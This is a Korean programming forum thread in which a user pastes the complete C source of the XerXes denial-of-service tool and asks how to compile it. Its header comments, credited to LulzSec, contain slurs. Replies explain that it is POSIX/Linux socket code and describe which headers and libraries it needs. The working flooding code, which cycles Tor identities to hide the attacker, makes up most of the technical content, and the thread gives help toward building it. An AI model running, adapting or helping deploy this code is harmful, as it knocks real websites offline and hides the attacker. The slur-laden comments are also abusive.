[xerxes dos attack 소스]이소스가 리눅스인지 C언어 인지 알려주세요,

익명 사용자의 이미지

/* The sauce behind the faggotry */
/* This is the original C source code fo the tool that faggot, jester, addded a GUI to */
/* and renamed "XerXes". It does stuff. Like use TOR to rape sites... Kinda. */
/* Read the source to understand how it works */
/* Kinda lame. */
/* ~LulzSec */
/* 176LRX4WRWD5LWDMbhr94ptb2MW9varCZP */
/* SET SAIL FOR FAIL! */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int make_socket(char *host, char *port) {
    struct addrinfo hints, *servinfo, *p;
    int sock, r;
//  fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
        fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
        exit(0);
    }
    for(p = servinfo; p != NULL; p = p->ai_next) {
        if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
            continue;
        }
        if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
            close(sock);
            continue;
        }
        break;
    }
    if(p == NULL) {
        if(servinfo)
            freeaddrinfo(servinfo);
        fprintf(stderr, "No connection could be made\n");
        exit(0);
    }
    if(servinfo)
        freeaddrinfo(servinfo);
    fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
    return sock;
}
void broke(int s) {
    // do nothing
}
#define CONNECTIONS 8
#define THREADS 48
void attack(char *host, char *port, int id) {
    int sockets[CONNECTIONS];
    int x, g=1, r;
    for(x=0; x!= CONNECTIONS; x++)
        sockets[x]=0;
    signal(SIGPIPE, &broke);
    while(1) {
        for(x=0; x != CONNECTIONS; x++) {
            if(sockets[x] == 0)
                sockets[x] = make_socket(host, port);
            r=write(sockets[x], "\0", 1);
            if(r == -1) {
                close(sockets[x]);
                sockets[x] = make_socket(host, port);
            } else
//              fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
            fprintf(stderr, "[%i: Voly Sent]\n", id);
        }
        fprintf(stderr, "[%i: Voly Sent]\n", id);
        usleep(300000);
    }
}
void cycle_identity() {
    int r;
    int socket = make_socket("localhost", "9050");
    write(socket, "AUTHENTICATE \"\"\n", 16);
    while(1) {
        r=write(socket, "signal NEWNYM\n\x00", 16);
        fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
        usleep(300000);
    }
}
int main(int argc, char **argv) {
    int x;
    if(argc !=3)
        cycle_identity();
    for(x=0; x != THREADS; x++) {
        if(fork())
            attack(argv[1], argv[2], x);
        usleep(200000);
    }
    getc(stdin);
    return 0;
}

디도스의 일종으로 Xerxes dos attack 프로그램을 짜야합니다.
검색을 해보니 소스가 위와 같은데, 이 프로그램의 결과는 아래와같은 동영상을 나타냅니다.
www.youtube.com/watch?v=WeO44IWlkfU

문제는 이것을 C로 돌리면 헤더파일 참조가 안된다고 에러가 나고, 리눅스에서 돌리면 이 소스를 찾을수 없다고 나옵니다.
제가 리눅스는 초보라서 잘은 모르겠지만, 혹시나 리눅스를 잘하시는 분은 이소스좀 돌려봐주시고, 문제점을 알려주시면 감사하겠습니다.

익명 사용자의 이미지

이 사람이 고양이인지 남자인지 알려주세요와 비슷하네요..

--

코딩스타일로 봐서는 unix/linux용 C코드 같습니다만,
MS Windows 계열에서 컴파일이 되는지는 확인해봐야할 듯..

익명 사용자의 이미지

윈도우에서 C로 컴파일하였을 때 헤더파일이 에러가 납니다.
그 헤더파일을 인터넷으로 찾아서 INCLUDE 폴더안에 넣었더니
또다른 헤더파일이 에러가 나고....
그 에러난 헤더파일은 더이상 인터넷으로 찾을 수가 없었으며..
이것을 리눅스에서 헤더파일을 다 가져와야하는것도 문제가 있습니다.
제가 리눅스는 사용할줄 몰라서 왠만해서 C에서 컴파일 하려고하는데
어렵네요,

익명 사용자의 이미지

리눅스인지 C언어인지 물어보는 모습에서
스크립트 키디의 위엄이 느껴집니다. ㄷㄷㄷ

익명 사용자의 이미지

그건 아니구요...
보안쪽 업체에서 일을 하는데, PL이 과제로 내준거예요..
이쪽에서 일하려면 해킹도 해봐야 한대서요.
잘몰라서 물어봐도 알려주지도 않고, 몇일째 날새서
인터넷 구글 뒤지고.. 아무리 찾아봐도 저 소스밖에 나오지 않습니다

익명 사용자의 이미지

이런 분들이 보안 업체에서 근무하시는구나..

아무리 신입이라도..

Stand Alone Complex의 이미지

보안업체에서 일하신다면서 공격 프로그램 소스를 컴파일할 수 있는 플랫폼도 모르신다니...
신입 여부를 떠나서 정말 황당하네요.
공부를 정말 열심히 하셔야겠네요.

RET ;My life :P

snowall의 이미지

질문을 여기 올린것처럼 하셨으면 아무도 안 알려줄거예요.
뭐랄까... 문자 그대로 멍청한 질문이거든요.

일단은 C언어처럼 생겼으니, C언어 소스겠죠. 윈도우즈에서 컴파일해서 안되는건 해당 라이브러리가 설치가 안된건데, 리눅스에서 컴파일한다고 달라질 건 없을거예요.

저기서 include에 있는 헤더 파일들이 어느 라이브러리에 포함된건지 찾아보고, 그 라이브러리들을 설치하세요. 그 다음에 컴파일하면 아마? 되지 싶네요.

물론 윈도우즈에서도 어느 컴파일러(gcc? VC?..)를 쓰느냐에 따라 방법은 다 다르겠지만..

피할 수 있을때 즐겨라! http://melotopia.net/b

jeongheumjo의 이미지

죄송합니다.

익명 사용자의 이미지

제목에 답이 있는거아닌가요/
리눅스 인가요 씨 인가요....
리눅스운영체제에서 빌드가 되는 c언어 소스코드인거같네요.
메인함수가 빠져있지만 함수 인터페이스가 다 공개되어있으니 간단히 바로 돌려볼수있게 생겼네요.
해보진않았지만...눈으로 보기엔 걍 메인함수 인터페이스만 맞춰서 콜만 해주면 끝날 문제인거같네요.

익명 사용자의 이미지

MS윈도우 소스인지 리눅스 소스인지는 중요하지 않습니다.
중요한 것은 소켓 라이브러리입니다.
MS라면 윈속을 사용할 것이고 리눅스라면 버클리 소켓을 사용하겠죠.
둘다 사용법은 비슷합니다.
소켓 책을 구해서 소켓 API와 프로그래밍을 보시면 되겠네요.

jeongheumjo의 이미지

리눅스에서 컴파일 하셔야겠어요.
소켓에 write 하는 건 리눅스에서 하는 방식이니까요. 윈도우즈에서는 대신 send 하지요..

리눅스인지 C인지는,
리눅스 수준(POSIX) API 인지 C표준 API(ANSI 표준)인지를 일컬을 텐데 보니까 fprintf를 쓴 건 C 표준이고 소켓 API 는 리눅스의 API 이니까,
결국 둘 다가 되는 것 같습니다.

열혈 TCP/IP - 윤성우씨 책 추천합니다.

익명 사용자의 이미지

리눅스에서도 send 써도 상관없습니다...

그리고 저 소스는 리눅스 에서 컴파일 하여야 하구요

위에 헤더파일 보면 헤더파일이 리눅스 헤더파일 입니다..

jeongheumjo의 이미지

리눅스에서도 send 써도 상관없습니다.

파일이 아니고 소켓인 경우에는,
리눅스는 기본적으로 write 도 하고 send 도 합니다.
윈도우즈는 Winsock 에서는 write 는 못하고 send 만 합니다.
제가 틀렸나요?

익명 사용자의 이미지

위에 쓰신거 보면 리눅스에서는 write 윈도우에서는 send를 한다고 써놓으셨습니다.

제가 이해를 잘못한건지 몰라도 딴지는 아니였습니다.

저 댓글만 보면 send는 윈도우에서 쓴다는 말처럼 보여서요

또한 둘다 라고 하셨지만 위의 헤더파일은 리눅스 시스템의 헤더파일 입니다.

jeongheumjo의 이미지

저도 딴지 아닙니다.
제가 잘못된 정보를 올린건지 확인하고 싶었을 뿐입니다.
제 미천한 지식에 자신감이 없어서..

게시판에 글쓰고 혹은 딴지도 걸고 하는 것은 모두 우리의 앎을 공고히 하려는 것이라고 생각합니다.
제가 종종 틀린 내용을 쓰는 경우가 왕왕 있어왔기에 무언가를 쓸때는 조심스럽더군요.
틀리면 지적해주는게 맞는 것 같습니다. 그게 딴지가 됐던 뭐가 됐던 누군가는 잘못된 지식을 정말인줄 알테니까요... 그리고 이곳이 klDp 이므로 더욱 이런 노력이 중요하다고 생각합니다. 그런 측면에서는 딴지가 오히려 자정노력이라고 볼 수도 있을 것 같습니다.

단, 인신공격은 반대합니다.

익명 사용자의 이미지

특별한 수를 쓰면 윈도우즈에서도 소켓에 Write할 수 있습니다.
물론, write 가 아닌 WriteFile 일 것입니다만...

jeongheumjo의 이미지

그럼 그 특별한 수가 무엇인가요?

http://msdn.microsoft.com/en-us/library/aa365747(v=VS.85).aspx

제가 찾아보았네요.. 이렇게 나오는군요. 뭐 무슨 말인지 잘 모르겠지만 설명은 나오는군요..

정상인의 이미지

진지하게 묻겠는데 C언어랑 리눅스랑 별개라고 생각하신 건가요?
C언어는 리눅스에서도 C언어이고 윈도에서도 C언어입니다. 설마 저걸 쉘 스크립트라고 생각하시진 않으셨을테고요..
재대로 물으려면 일단 딱 봐도 C언어이니 리눅스용인지 윈도용인지 어느 환경에서 컴파일 가능할지를 여쭈셔야 합니다.
요즘 한국 개발인력의 저급화에 대해 신경쓰시는 분들이 많은 만큼 이런 사이트에서 기본적인 데에서 실수하면 좋지 못한 답을 받는 경우가 있어요.

익명 사용자의 이미지

이글에 대해서 완료하였습니다.

댓글 달기

Filtered HTML

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

BBCode

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param>
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

Textile

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • You can use Textile markup to format text.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Markdown

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • Quick Tips:
    • Two or more spaces at a line's end = Line break
    • Double returns = Paragraph
    • *Single asterisks* or _single underscores_ = Emphasis
    • **Double** or __double__ = Strong
    • This is [a link](http://the.link.example.com "The optional title text")
    For complete details on the Markdown syntax, see the Markdown documentation and Markdown Extra documentation for tables, footnotes, and more.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Plain text

  • HTML 태그를 사용할 수 없습니다.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 줄과 단락은 자동으로 분리됩니다.
댓글 첨부 파일
이 댓글에 이미지나 파일을 업로드 합니다.
파일 크기는 8 MB보다 작아야 합니다.
허용할 파일 형식: txt pdf doc xls gif jpg jpeg mp3 png rar zip.
CAPTCHA
이것은 자동으로 스팸을 올리는 것을 막기 위해서 제공됩니다.